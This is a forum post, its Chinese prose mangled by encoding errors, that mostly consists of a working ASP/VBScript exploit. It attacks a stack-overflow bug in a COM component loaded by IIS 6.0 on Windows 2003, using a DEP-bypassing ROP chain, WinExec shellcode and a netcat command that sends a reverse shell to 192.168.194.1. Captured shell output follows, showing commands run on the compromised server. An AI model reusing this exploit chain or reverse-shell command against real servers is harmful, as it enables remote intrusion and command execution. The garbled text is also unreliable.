goback add

¹¥»÷ASPÖеÄCOM×é¼þ

3438 µã»÷¡¤0 »ØÌû
µÆ»ð»¥Áª
Â¥Ö÷
ÊÂʵÉÏ£¬ºÜ¶àCOM×é¼þ£¬²»½ö½öÄܹ¥»÷IE¿Í»§¶Ë¡£µ±·þÎñÆ÷ÔÚ×¢²áÁËÓЩ¶´µÄCOM×é¼þµÄʱºò£¬¶ÔÓÚÖ§³ÖASPµÄIIS·þÎñÆ÷ÉÏ£¬¿ÉÒÔʹÓÃASP×÷ΪÈÝÆ÷£¬¶ÔÕâЩ×é¼þ·¢¶¯¹¥»÷£¬ÒÔÍ»ÆÆºÜ¶à×é¼þ±»É¾³ý£¬µ¼ÖÂÎÞ·¨Ö´ÐÐÃüÁîµÄÆ¿¾±¡£¶øÓÉÓÚIISµÄÈÝ´í´¦Àí£¬²»»áÓ°ÏìIISµÄÔËÐУ¬ËùÒÔ×ÔÓÉʹÓÃWinExecÖ´ÐÐÃüÁî¡£
Demo£º
©¶´×é¼þVulntest.vun¾ßÓÐÒ»¸ö¼òµ¥µÄÕ»Òç³ö©¶´£¬Â©¶´Ô­ÀíºÍ»ù±¾Õ»Òç³öÀûÓò»Ìá
²âÊÔÆ½Ì¨Windows2003 SP2 ¼òÌåÖÐÎİæ(x86)+ IIS6.0
ASP¹¥»÷´úÂëʾÀý£º
<%
FunctionPadding(intLen)
DimstrRet, intSize
intSize= intLen/2 - 1
For I= 0 To intSize Step 1
strRet= strRet ; unescape("%u4141")
Next
Padding= strRet
EndFunction

FunctionPackDWORD(strPoint)
strTmp= replace(strPoint, "0x", "")
PackDWORD= PackDWORD ; UnEscape("%u" ; Mid(strTmp, 5, 2);Mid(strTmp, 7, 2))
PackDWORD= PackDWORD ; UnEscape("%u" ; Mid(strTmp, 1, 2);Mid(strTmp, 3, 2))
EndFunction

FunctionPackList(arrList)
ForEach Item In arrList
PackList= PackList ; PackDWORD(Item)
Next
EndFunction

FunctionPackShellcode(strCode)
intLen= Len(strCode) / 4
IfintLen Mod 2 = 1 Then
strCode= strCode ; "\x90"
intLen= intLen + 1
EndIf
arrTmp= Split(strCode, "\x")
For I= 1 To UBound(arrTmp) Step 2
PackShellcode= PackShellcode ; UnEscape("%u" ; arrTmp(I + 1);arrTmp(I))
Next
EndFunction

FunctionUnicodeToAscii(uStrIn)
intLen= Len(strCommand)
IfintLen Mod 2 = 1 Then
ForI = 1 To intLen - 1 Step 2
UnicodeToAscii= UnicodeToAscii ; "%u" ; Hex(Asc(Mid(strCommand, I+1, 1))) ; Hex(Asc(Mid(strCommand, I, 1)))
Next
UnicodeToAscii= UnicodeToAscii ; "%u00" ; Hex(Asc(Mid(strCommand,I,1)))
Else
ForI = 1 To intLen - 1 Step 2
UnicodeToAscii= UnicodeToAscii ; "%u" ; Hex(Asc(Mid(strCommand, I+1, 1))) ; Hex(Asc(Mid(strCommand, I, 1)))
Next
EndIf
UnicodeToAscii= UnEscape(UnicodeToAscii)
EndFunction
'''''''''''''''''''''''''''''bypassDEP with [msvcrt.dll] v7.0.3790.3959(C:\WINDOWS\system32\msvcrt.dll)
Rop_Chain= Array(_
"0x77bae04e",_
"0xffffffc0",_
"0x77b7c427",_
"0x77bb2266",_
"0x77bb2265",_
"0x77b7f641",_
"0x77baf392",_
"0xA2A6AE89",_
"0x77bafe37",_
"0x77baf392",_
"0x90909090",_
"0x77ba2033",_
"0x77bbf004",_
"0x77b9b06c",_
"0x7c801fe3",_
"0x77bb6591"_
)

'''''''''''''''''''''''''''''junkand ret address
Junk0= Padding(52)
Ret_Addr= PackDWORD("0x77bb2266")  '# RETN
Junk1= Padding(8)                  '# because of "retn 8"

'''''''''''''''''''''''''''''smallshellcode adjust esp
Small_Shellcode= "\x33\xc0\x66\xb8\x40\x02\x2b\xe0"
'XOREAX,EAX
'MOVAX,240
'SUBESP,EAX
'''''''''''''''''''''''''''''shellcodeWinExec (win2k sp2)
Real_Shellcode="\xd9\xee\x9b\xd9\x74\x24\xf4\x5e\x83\xc6\x1a\x33\xc0\x50\x56\x68\x41\x41\x41\x41\x68\x16\x41\x86\x7c\xc3"
'D9EE           FLDZ
'9B             WAIT
'D97424F4       FSTENV (28-BYTE) PTR SS:[ESP-C]
'5E             POP ESI
'83C61a                   ADD ESI,1a
'33C0                     XOR EAX,EAX
'50                       PUSH EAX
'56                       PUSH ESI
'68F1F8807C               PUSH kernel32.ExitThread
'681641867C               PUSH kernel32.WinExec
'C3                       RETN
'''''''''''''''''''''''''''''cmdline
strCommand= "C:\Inetpub\wwwroot\nc.exe -e cmd.exe 192.168.194.1 8080"

'''''''''''''''''''''''''''''exploitvulntest.dll
Payload= Junk0 ; Ret_Addr ; Junk1 ; PackList(Rop_Chain);PackShellcode(Small_Shellcode) ; PackShellcode(Real_Shellcode);UnicodeToAscii(strCommand)
Setobj = CreateObject("Vulntest.test.1")
obj.vulnpayload
%>
²âÊÔ½á¹û£º
Á¬½Óµ½ [192.168.194.1]À´×Ô ACER-38787AC8AF[192.168.194.134] 1344
MicrosoftWindows [°æ±¾ 5.2.3790]
(C)°æÈ¨ËùÓÐ 1985-2003Microsoft Corp.

c:\windows\system32\inetsrv>whoami
whoami
ntauthority\network service

c:\windows\system32\inetsrv>netuser
netuser

\\ACER-38787AC8AFµÄÓû§ÕÊ»§

-------------------------------------------------------------------------------
Administrator           Guest                    IUSR_ACER-38787AC8AF
IWAM_ACER-38787AC8AF    SQLDebugger
ÃüÁî³É¹¦Íê³É¡£

ϲ»¶0 ÆÀ·Ö0